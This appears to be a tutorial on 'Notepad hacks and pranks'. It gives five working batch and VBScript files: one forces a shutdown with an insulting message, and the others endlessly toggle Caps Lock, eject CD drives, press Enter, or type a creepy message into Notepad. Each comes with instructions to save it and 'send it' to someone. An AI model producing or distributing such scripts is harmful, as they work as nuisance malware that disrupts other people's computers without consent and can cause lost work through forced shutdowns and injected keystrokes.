Notepad is a simple text editor for Microsoft Windows and a basic text-editing program which enables computer users to create documents, using this simple and free application we will explore creation of hacking files which will perform specific tasks, hacks, tricks and pranks. 

Almost all the files has a .vbs or .bat Extension making it possible to execute when opened. in order to save with this extension add a dot with the required extension at the name section and usually change the save as type to all files. 

1 Convey a little message and shut down the computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

Save it as any name with extension .bat, this will make it execute when its been opened and will show the message as well shut down the system

Toggle the Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as “Anything.VBS” and send or open  it to execute it.

3 Continually pop out the CD Drive. If there are more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count>= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as “Anything.VBS” and send it.

4 Frustrate someone by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as “Anything.VBS” and send it.

5 Open Notepad, slowly type “Hello, how are you? I am good thanks” after some time of clicking the file and freak someone out:  Try

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as “Anything.VBS” and send it.